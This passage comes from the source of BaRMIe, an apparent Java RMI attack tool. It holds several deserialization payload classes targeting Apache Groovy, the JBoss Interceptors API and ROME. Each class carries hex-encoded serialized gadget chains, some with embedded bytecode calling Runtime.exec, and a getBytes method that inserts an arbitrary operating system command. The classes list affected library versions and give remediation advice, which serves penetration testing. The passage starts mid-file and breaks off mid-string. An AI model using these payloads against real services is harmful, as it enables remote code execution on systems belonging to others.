"groovy-1.8.4.jar", "groovy-1.8.5.jar", "groovy-1.8.6.jar", "groovy-1.8.7.jar", "groovy-1.8.8.jar", "groovy-1.8.9.jar", 53 | "groovy-1.9.0-beta-1.jar", "groovy-1.9.0-beta-2.jar", "groovy-1.9.0-beta-3.jar", "groovy-1.9.0-beta-4.jar", "groovy-2.0.0-beta-1.jar", "groovy-2.0.0-beta-2.jar", "groovy-2.0.0-beta-3.jar", 54 | "groovy-2.0.0-rc-1.jar", "groovy-2.0.0-rc-2.jar", "groovy-2.0.0-rc-3.jar", "groovy-2.0.0-rc-4.jar", "groovy-2.0.0.jar", "groovy-2.0.1.jar", "groovy-2.0.2.jar", "groovy-2.0.3.jar", "groovy-2.0.4.jar", 55 | "groovy-2.0.5.jar", "groovy-2.0.6.jar", "groovy-2.0.7.jar", "groovy-2.0.8.jar", "groovy-2.1.0-beta-1.jar", "groovy-2.1.0-rc-1.jar", "groovy-2.1.0-rc-2.jar", "groovy-2.1.0-rc-3.jar", "groovy-2.1.0.jar", 56 | "groovy-2.1.1.jar", "groovy-2.1.2.jar", "groovy-2.1.3.jar", "groovy-2.1.4.jar", "groovy-2.1.5.jar", "groovy-2.1.6.jar", "groovy-2.1.7.jar", "groovy-2.1.8.jar", "groovy-2.1.9.jar", "groovy-2.2.0-beta-1.jar", 57 | "groovy-2.2.0-beta-2.jar", "groovy-2.2.0-rc-1.jar", "groovy-2.2.0-rc-2.jar", "groovy-2.2.0-rc-3.jar", "groovy-2.2.0.jar", "groovy-2.2.1.jar", "groovy-2.2.2.jar", "groovy-2.3.0-beta-1.jar", 58 | "groovy-2.3.0-beta-2.jar", "groovy-2.3.0-rc-1.jar", "groovy-2.3.0-rc-2.jar", "groovy-2.3.0-rc-4.jar", "groovy-2.3.0.jar", "groovy-2.3.1.jar", "groovy-2.3.10.jar", "groovy-2.3.11.jar", "groovy-2.3.2.jar", 59 | "groovy-2.3.3.jar", "groovy-2.3.4.jar", "groovy-2.3.5.jar", "groovy-2.3.6.jar", "groovy-2.3.7.jar", "groovy-2.3.8.jar", "groovy-2.3.9.jar", "groovy-2.4.0-beta-1.jar", "groovy-2.4.0-beta-2.jar", 60 | "groovy-2.4.0-beta-3.jar", "groovy-2.4.0-beta-4.jar" 61 | }); 62 | } 63 | 64 | /******************* 65 | * Generate payload bytes for the given OS command, correcting references 66 | * by the given amount. 67 | * 68 | * @param cmd The operating system command to execute. 69 | * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). 70 | * @return An array of bytes making up the deserialization payload. 71 | ******************/ 72 | public byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException { 73 | ByteArrayOutputStream out; 74 | 75 | //Generate the payload bytes 76 | try { 77 | //Fix references in the header bytes and add them to the output 78 | out = new ByteArrayOutputStream(); 79 | out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection)); 80 | 81 | //Add the command string to the output 82 | out.write(this.stringToUtf8ByteArray(cmd)); 83 | 84 | //Fix references in the footer bytes and add them to the output 85 | out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection)); 86 | } catch(IOException ioe) { 87 | throw new BaRMIeDeserPayloadGenerationException("Failed to build Commons Collections 1 deserialization payload.", ioe); 88 | } 89 | 90 | //Return the payload bytes 91 | return out.toByteArray(); 92 | } 93 | } 94 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/attack/deser/payloads/GroovyPayload2.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.attack.deser.payloads; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import nb.barmie.exceptions.BaRMIeDeserPayloadGenerationException; 6 | import nb.barmie.exceptions.BaRMIeException; 7 | import nb.barmie.modes.attack.DeserPayload; 8 | 9 | /*********************************************************** 10 | * Deserialization payload for Apache Groovy versions 11 | * 2.4.0-rc1 to 2.4.3. 12 | * 13 | * Based on the ysoserial and the excellent work of Chris 14 | * Frohoff, Matthias Kaiser et al 15 | * (https://github.com/frohoff/ysoserial). 16 | * 17 | * Written by Nicky Bloor (@NickstaDB). 18 | **********************************************************/ 19 | public class GroovyPayload2 extends DeserPayload { 20 | /******************* 21 | * Properties 22 | ******************/ 23 | //Payload data chunks 24 | private final String _header_chunk = "7372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b707870737d00000001000d6a6176612e7574696c2e4d617070787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b7078707372002c6f72672e636f6465686175732e67726f6f76792e72756e74696d652e436f6e766572746564436c6f7375726510233719f715dd1b0200014c000a6d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b707872002d6f72672e636f6465686175732e67726f6f76792e72756e74696d652e436f6e76657273696f6e48616e646c65721023371ad601bc1b0200024c000864656c65676174657400124c6a6176612f6c616e672f4f626a6563743b4c000b68616e646c6543616368657400284c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e74486173684d61703b707870737200296f72672e636f6465686175732e67726f6f76792e72756e74696d652e4d6574686f64436c6f737572658f1031acf59cf2cc0200014c00066d6574686f6471007e0009707872001367726f6f76792e6c616e672e436c6f737572653ca0c76616126c5a0200084900096469726563746976654900196d6178696d756d4e756d6265724f66506172616d657465727349000f7265736f6c766553747261746567794c000362637774003c4c6f72672f636f6465686175732f67726f6f76792f72756e74696d652f63616c6c736974652f426f6f6c65616e436c6f73757265577261707065723b4c000864656c656761746571007e000b4c00056f776e657271007e000b5b000e706172616d6574657254797065737400125b4c6a6176612f6c616e672f436c6173733b4c000a746869734f626a65637471007e000b7078700000000000000002000000007074"; 25 | private final String _footer_chunk = "71007e0013757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a9902000070787000000002767200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007078707672000c6a6176612e696f2e46696c65042da4450e0de4ff0300014c00047061746871007e00097078707074000765786563757465737200266a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74486173684d61706499de129d87293d03000349000b7365676d656e744d61736b49000c7365676d656e7453686966745b00087365676d656e74737400315b4c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e74486173684d6170245365676d656e743b7078700000000000000000757200315b4c6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74486173684d6170245365676d656e743b52773f41329b397402000070787000000000707078740008656e747279536574767200126a6176612e6c616e672e4f766572726964650000000000000000000000707870"; 26 | 27 | /******************* 28 | * Set payload properties 29 | ******************/ 30 | public GroovyPayload2() { 31 | super(); 32 | this.setName("Groovy2"); 33 | this.setDescription("Apache Groovy 2.4.0-rc1 to 2.4.3"); 34 | this.setRemediationAdvice("[Apache Groovy] Update to Apache Groovy 2.4.4 or greater."); 35 | this.setAffectedJars(new String[] { 36 | "groovy-all-2.4.0.jar", "groovy-all-2.4.0-rc-1.jar", "groovy-all-2.4.0-rc-2.jar", "groovy-all-2.4.1.jar", "groovy-all-2.4.2.jar", "groovy-all-2.4.3.jar", "groovy-2.4.0.jar", "groovy-2.4.0-rc-1.jar", 37 | "groovy-2.4.0-rc-2.jar", "groovy-2.4.1.jar", "groovy-2.4.2.jar", "groovy-2.4.3.jar" 38 | }); 39 | } 40 | 41 | /******************* 42 | * Generate payload bytes for the given OS command, correcting references 43 | * by the given amount. 44 | * 45 | * @param cmd The operating system command to execute. 46 | * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). 47 | * @return An array of bytes making up the deserialization payload. 48 | ******************/ 49 | public byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException { 50 | ByteArrayOutputStream out; 51 | 52 | //Generate the payload bytes 53 | try { 54 | //Fix references in the header bytes and add them to the output 55 | out = new ByteArrayOutputStream(); 56 | out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection)); 57 | 58 | //Add the command string to the output 59 | out.write(this.stringToUtf8ByteArray(cmd)); 60 | 61 | //Fix references in the footer bytes and add them to the output 62 | out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection)); 63 | } catch(IOException ioe) { 64 | throw new BaRMIeDeserPayloadGenerationException("Failed to build Commons Collections 1 deserialization payload.", ioe); 65 | } 66 | 67 | //Return the payload bytes 68 | return out.toByteArray(); 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/attack/deser/payloads/JBossInterceptorsPayload1.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.attack.deser.payloads; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import nb.barmie.exceptions.BaRMIeDeserPayloadGenerationException; 6 | import nb.barmie.exceptions.BaRMIeException; 7 | import nb.barmie.modes.attack.DeserPayload; 8 | 9 | /*********************************************************** 10 | * Deserialization payload for JBoss Interceptors API. 11 | * 12 | * Based on the ysoserial and the excellent work of Chris 13 | * Frohoff, Matthias Kaiser et al 14 | * (https://github.com/frohoff/ysoserial). 15 | * 16 | * Written by Nicky Bloor (@NickstaDB). 17 | **********************************************************/ 18 | public class JBossInterceptorsPayload1 extends DeserPayload { 19 | /******************* 20 | * Properties 21 | ******************/ 22 | //Payload data chunks 23 | private final String _header_chunk = "737200346f72672e6a626f73732e696e746572636570746f722e70726f78792e496e746572636570746f724d6574686f6448616e646c6572873a4af771c283ca0300054c0011696e74657263657074696f6e4d6f64656c7400334c6f72672f6a626f73732f696e746572636570746f722f7370692f6d6f64656c2f496e74657263657074696f6e4d6f64656c3b4c001b696e746572636570746f7248616e646c6572496e7374616e63657374000f4c6a6176612f7574696c2f4d61703b4c0018696e766f636174696f6e436f6e74657874466163746f727974003c4c6f72672f6a626f73732f696e746572636570746f722f7370692f636f6e746578742f496e766f636174696f6e436f6e74657874466163746f72793b4c001e746172676574436c617373496e746572636570746f724d657461646174617400384c6f72672f6a626f73732f696e746572636570746f722f7370692f6d657461646174612f496e746572636570746f724d657461646174613b4c000e746172676574496e7374616e63657400124c6a6176612f6c616e672f4f626a6563743b707870737200336f72672e6a626f73732e696e746572636570746f722e6275696c6465722e496e74657263657074696f6e4d6f64656c496d706cd494e150e2b8db200200054c000f616c6c496e746572636570746f727374000f4c6a6176612f7574696c2f5365743b4c0012676c6f62616c496e746572636570746f727371007e00024c0011696e746572636570746564456e7469747971007e00054c00176d6574686f64426f756e64496e746572636570746f727371007e00024c00166d6574686f647349676e6f72696e67476c6f62616c7371007e0008707870737200176a6176612e7574696c2e4c696e6b656448617368536574d86cd75a95dd2a1e02000070787200116a6176612e7574696c2e48617368536574ba44859596b8b734030000707870770c000000000010000000000000737200366f72672e6a626f73732e696e746572636570746f722e7265616465722e53696d706c65496e746572636570746f724d6574616461746100046e2632cdf08b0200035a000b746172676574436c6173734c0014696e746572636570746f724d6574686f644d617071007e00024c0014696e746572636570746f725265666572656e63657400394c6f72672f6a626f73732f696e746572636570746f722f7370692f6d657461646174612f496e746572636570746f725265666572656e63653b70787000737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c647078700000000100000000770800000000000000017e7200306f72672e6a626f73732e696e746572636570746f722e7370692e6d6f64656c2e496e74657263657074696f6e547970650000000000000000120000707872000e6a6176612e6c616e672e456e756d000000000000000012000070787074000d504f53545f4143544956415445737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870000000017704000000007372005a6f72672e6a626f73732e696e746572636570746f722e7265616465722e44656661756c744d6574686f644d657461646174612444656661756c744d6574686f644d6574616461746153657269616c697a6174696f6e50726f7879d579494f9b7dd2ca0200024c000f6d6574686f645265666572656e636574002f4c6f72672f6a626f73732f696e746572636570746f722f6275696c6465722f4d6574686f645265666572656e63653b4c001a737570706f72746564496e74657263657074696f6e547970657371007e00087078707372004c6f72672e6a626f73732e696e746572636570746f722e6275696c6465722e4d6574686f645265666572656e6365244d6574686f64486f6c64657253657269616c697a6174696f6e50726f7879d46a60f4493e7dd20200034c0009636c6173734e616d657400124c6a6176612f6c616e672f537472696e673b4c000a6d6574686f644e616d6571007e001c5b0013706172616d65746572436c6173734e616d65737400135b4c6a6176612f6c616e672f537472696e673b70787074003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c74000e6e65775472616e73666f726d6572757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b47020000707870000000007371007e000b770c00000000001000000000000171007e00147878787372003e6f72672e6a626f73732e696e746572636570746f722e7265616465722e436c6173734d65746164617461496e746572636570746f725265666572656e6365cb83b3bef93b30fe0200014c000d636c6173734d657461646174617400324c6f72672f6a626f73732f696e746572636570746f722f7370692f6d657461646174612f436c6173734d657461646174613b707870737200346f72672e6a626f73732e696e746572636570746f722e7265616465722e5265666c656374697665436c6173734d65746164617461e303853ff76c4ebe0200014c0005636c617a7a7400114c6a6176612f6c616e672f436c6173733b7078707671007e0010787371007e00100000000100000000770800000000000000067e71007e001274000b5052455f44455354524f597371007e00160000000077040000000171007e000f787e71007e001274000d41524f554e445f494e564f4b457371007e00160000000177040000000171007e000f787e71007e001274000d5052455f5041535349564154457371007e00160000000177040000000171007e000f7871007e00147371007e00160000000177040000000171007e000f787e71007e001274000e504f53545f434f4e5354525543547371007e00160000000177040000000171007e000f787e71007e001274000e41524f554e445f54494d454f55547371007e00160000000177040000000171007e000f787871007e002a7371007e0010000000010000000077080000001000000000787371007e000b770c000000103f40000000000000787371007e00103f4000000000000c7708000000100000000171007e000f7372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e001c4c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b70787000000000ffffffff757200035b5b424bfd19156767db3702000070787000000002757200025b42acf317f8060854e0020000707870"; 24 | private final String _mid_chunk = "cafebabe0000003100380a00030022070036070025070026010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010005284c3b29560100014101000141010001410100014101000141070027010006284c413b29560100014101000141010001410100014101000141010001410c000a000b07002801000141010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c6501000141010001410100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01"; 25 | private final String _footer_chunk = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b00340100014101000141002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002e000e0000000c000100000005000f003700000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000033000e00000020000300000001000f0037000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000037000e0000002a000400000001000f003700000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c0000001b000300020000000fa70003014cb8002f1231b6003557b1000000000002002000000002002100110000000a000100020023001000097571007e004600000113cafebabe00000031001b0a00030015070017070018070019010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010001410c000a000b07001a01000241410100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501000141002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003b000e0000000c000100000005000f001200000002001300000002001400110000000a0001000200160010000970740001417077010078787372003b6f72672e6a626f73732e696e746572636570746f722e70726f78792e44656661756c74496e766f636174696f6e436f6e74657874466163746f7279414e96f669775a610200007078707371007e000d007371007e0010000000010000000077080000001000000000787371007e002471007e00297371007e00100000000100000000770800000010000000017400014171007e00507878"; 26 | 27 | /******************* 28 | * Set payload properties 29 | ******************/ 30 | public JBossInterceptorsPayload1() { 31 | super(); 32 | this.setName("JBossInterceptors1"); 33 | this.setDescription("JBoss Interceptors API"); 34 | this.setRemediationAdvice("[JBoss] " + this.REMEDIATION_NO_FIX); 35 | this.setAffectedJars(new String[] { 36 | "jboss-interceptor-api-1.0.1-CR1.jar", "jboss-interceptor-api-1.0.jar", "jboss-interceptor-api-1.1-CR1.jar", "jboss-interceptor-api-1.1.jar", "jboss-interceptor-api-3.1.0-CR1.jar", 37 | "jboss-interceptor-api-3.1.0-CR2.jar", "jboss-interceptor-api-3.1.0-CR3.jar", "jboss-interceptor-core-2.0.0.Alpha1.jar", "jboss-interceptor-core-2.0.0.Alpha2.jar", "jboss-interceptor-core-2.0.0.Alpha3.jar", 38 | "jboss-interceptor-core-2.0.0.CR1.jar", "jboss-interceptor-core-2.0.0.Final.jar", "jboss-interceptor-spi-2.0.0.Alpha1.jar", "jboss-interceptor-spi-2.0.0.Alpha2.jar", "jboss-interceptor-spi-2.0.0.Alpha3.jar", 39 | "jboss-interceptor-spi-2.0.0.CR1.jar", "jboss-interceptor-spi-2.0.0.Final-redhat-1.jar", "jboss-interceptor-spi-2.0.0.Final.jar" 40 | }); 41 | } 42 | 43 | /******************* 44 | * Generate payload bytes for the given OS command, correcting references 45 | * by the given amount. 46 | * 47 | * @param cmd The operating system command to execute. 48 | * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). 49 | * @return An array of bytes making up the deserialization payload. 50 | ******************/ 51 | public byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException { 52 | ByteArrayOutputStream out; 53 | 54 | //Generate the payload bytes 55 | try { 56 | //Fix references in the header bytes and add them to the output 57 | out = new ByteArrayOutputStream(); 58 | out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection)); 59 | 60 | //Add the middle chunk 61 | out.write(this.intToByteArray(765 + cmd.length())); 62 | out.write(this.hexStrToByteArray(this._mid_chunk)); 63 | 64 | //Add the command string to the output 65 | out.write(this.stringToUtf8ByteArray(cmd)); 66 | 67 | //Fix references in the footer bytes and add them to the output 68 | out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection)); 69 | } catch(IOException ioe) { 70 | throw new BaRMIeDeserPayloadGenerationException("Failed to build Commons Collections 1 deserialization payload.", ioe); 71 | } 72 | 73 | //Return the payload bytes 74 | return out.toByteArray(); 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/attack/deser/payloads/ROMEPayload1.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.attack.deser.payloads; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import nb.barmie.exceptions.BaRMIeDeserPayloadGenerationException; 6 | import nb.barmie.exceptions.BaRMIeException; 7 | import nb.barmie.modes.attack.DeserPayload; 8 | 9 | /*********************************************************** 10 | * Deserialization payload for ROME 0.5 to 1.0. 11 | * 12 | * Based on the ysoserial and the excellent work of Chris 13 | * Frohoff, Matthias Kaiser et al 14 | * (https://github.com/frohoff/ysoserial). 15 | * 16 | * Written by Nicky Bloor (@NickstaDB). 17 | **********************************************************/ 18 | public class ROMEPayload1 extends DeserPayload { 19 | /******************* 20 | * Properties 21 | ******************/ 22 | //Payload data chunks 23 | private final String _header_chunk = "737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6470787000000001000000007708000000000000000173720028636f6d2e73756e2e73796e6469636174696f6e2e666565642e696d706c2e4f626a6563744265616e829907de7604944a0200034c000e5f636c6f6e6561626c654265616e74002d4c636f6d2f73756e2f73796e6469636174696f6e2f666565642f696d706c2f436c6f6e6561626c654265616e3b4c000b5f657175616c734265616e74002a4c636f6d2f73756e2f73796e6469636174696f6e2f666565642f696d706c2f457175616c734265616e3b4c000d5f746f537472696e674265616e74002c4c636f6d2f73756e2f73796e6469636174696f6e2f666565642f696d706c2f546f537472696e674265616e3b7078707372002b636f6d2e73756e2e73796e6469636174696f6e2e666565642e696d706c2e436c6f6e6561626c654265616edd61bbc5334f6b770200024c00115f69676e6f726550726f7065727469657374000f4c6a6176612f7574696c2f5365743b4c00045f6f626a7400124c6a6176612f6c616e672f4f626a6563743b7078707372001e6a6176612e7574696c2e436f6c6c656374696f6e7324456d70747953657415f5721db403cb280200007078707371007e00027371007e000771007e000c7372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d657400124c6a6176612f6c616e672f537472696e673b4c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b70787000000000ffffffff757200035b5b424bfd19156767db3702000070787000000002757200025b42acf317f8060854e0020000707870"; 24 | private final String _mid_chunk = "cafebabe0000003100380a00030022070036070025070026010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010005284c3b29560100014101000141010001410100014101000141070027010006284c413b29560100014101000141010001410100014101000141010001410c000a000b07002801000141010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c6501000141010001410100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01"; 25 | private final String _footer_chunk = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b00340100014101000141002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002e000e0000000c000100000005000f003700000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000033000e00000020000300000001000f0037000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000037000e0000002a000400000001000f003700000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c0000001b000300020000000fa70003014cb8002f1231b6003557b1000000000002002000000002002100110000000a000100020023001000097571007e001700000113cafebabe00000031001b0a00030015070017070018070019010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010001410c000a000b07001a01000241410100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501000141002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003b000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000141707701007873720028636f6d2e73756e2e73796e6469636174696f6e2e666565642e696d706c2e457175616c734265616ef58a18bbe5f618110200024c000a5f6265616e436c6173737400114c6a6176612f6c616e672f436c6173733b4c00045f6f626a71007e00097078707672001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c61746573000000000000000000000070787071007e00147372002a636f6d2e73756e2e73796e6469636174696f6e2e666565642e696d706c2e546f537472696e674265616e09f58e4a0f23ee310200024c000a5f6265616e436c61737371007e001c4c00045f6f626a71007e000970787071007e001f71007e00147371007e001b7671007e000271007e000d7371007e002071007e002371007e000d71007e000671007e000671007e000678"; 26 | 27 | /******************* 28 | * Set payload properties 29 | ******************/ 30 | public ROMEPayload1() { 31 | super(); 32 | this.setName("ROME1"); 33 | this.setDescription("ROME 0.5 to 1.0"); 34 | this.setRemediationAdvice("[ROME] " + this.REMEDIATION_NO_FIX); 35 | this.setAffectedJars(new String[] { 36 | "rome-0.1.jar", "rome-0.2.jar", "rome-0.3.jar", "rome-0.4.jar", "rome-0.5.jar", "rome-0.6.jar", "rome-0.7.jar", "rome-0.8.jar", "rome-0.9.jar", "rome-1.0.jar", "rome-1.0RC1.jar", "rome-1.0RC2.jar" 37 | }); 38 | } 39 | 40 | /******************* 41 | * Generate payload bytes for the given OS command, correcting references 42 | * by the given amount. 43 | * 44 | * @param cmd The operating system command to execute. 45 | * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). 46 | * @return An array of bytes making up the deserialization payload. 47 | ******************/ 48 | public byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException { 49 | ByteArrayOutputStream out; 50 | 51 | //Generate the payload bytes 52 | try { 53 | //Fix references in the header bytes and add them to the output 54 | out = new ByteArrayOutputStream(); 55 | out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection)); 56 | 57 | //Add the middle chunk 58 | out.write(this.intToByteArray(765 + cmd.length())); 59 | out.write(this.hexStrToByteArray(this._mid_chunk)); 60 | 61 | //Add the command string to the output 62 | out.write(this.stringToUtf8ByteArray(cmd)); 63 | 64 | //Fix references in the footer bytes and add them to the output 65 | out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection)); 66 | } catch(IOException ioe) { 67 | throw new BaRMIeDeserPayloadGenerationException("Failed to build Commons Collections 1 deserialization payload.", ioe); 68 | } 69 | 70 | //Return the payload bytes 71 | return out.toByteArray(); 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/attack/deser/payloads/ROMEPayload2.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.attack.deser.payloads; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import nb.barmie.exceptions.BaRMIeDeserPayloadGenerationException; 6 | import nb.barmie.exceptions.BaRMIeException; 7 | import nb.barmie.modes.attack.DeserPayload; 8 | 9 | /*********************************************************** 10 | * Deserialization payload for ROME 1.5 to 1.7.3. 11 | * 12 | * Based on the ysoserial and the excellent work of Chris 13 | * Frohoff, Matthias Kaiser et al 14 | * (https://github.com/frohoff/ysoserial). 15 | * 16 | * Written by Nicky Bloor (@NickstaDB). 17 | **********************************************************/ 18 | public class ROMEPayload2 extends DeserPayload { 19 | /******************* 20 | * Properties 21 | ******************/ 22 | //Payload data chunks 23 | private final String _header_chunk = "737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6470787000000001000000007708000000020000000273720027636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e4f626a6563744265616e00000000000000010200034c000d636c6f6e6561626c654265616e74002c4c636f6d2f726f6d65746f6f6c732f726f6d652f666565642f696d706c2f436c6f6e6561626c654265616e3b4c000a657175616c734265616e7400294c636f6d2f726f6d65746f6f6c732f726f6d652f666565642f696d706c2f457175616c734265616e3b4c000c746f537472696e674265616e74002b4c636f6d2f726f6d65746f6f6c732f726f6d652f666565642f696d706c2f546f537472696e674265616e3b7078707372002a636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e436c6f6e6561626c654265616e00000000000000010200024c001069676e6f726550726f7065727469657374000f4c6a6176612f7574696c2f5365743b4c00036f626a7400124c6a6176612f6c616e672f4f626a6563743b7078707372001e6a6176612e7574696c2e436f6c6c656374696f6e7324456d70747953657415f5721db403cb280200007078707371007e00027371007e000771007e000c7372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d657400124c6a6176612f6c616e672f537472696e673b4c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b70787000000000ffffffff757200035b5b424bfd19156767db3702000070787000000002757200025b42acf317f8060854e0020000707870"; 24 | private final String _mid_chunk = "cafebabe0000003100380a00030022070036070025070026010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010005284c3b29560100014101000141010001410100014101000141070027010006284c413b29560100014101000141010001410100014101000141010001410c000a000b07002801000141010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c6501000141010001410100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01"; 25 | private final String _footer_chunk = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b00340100014101000141002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002e000e0000000c000100000005000f003700000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000033000e00000020000300000001000f0037000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000037000e0000002a000400000001000f003700000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c0000001b000300020000000fa70003014cb8002f1231b6003557b1000000000002002000000002002100110000000a000100020023001000097571007e001700000113cafebabe00000031001b0a00030015070017070018070019010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010001410c000a000b07001a01000241410100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501000141002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f0001000100000005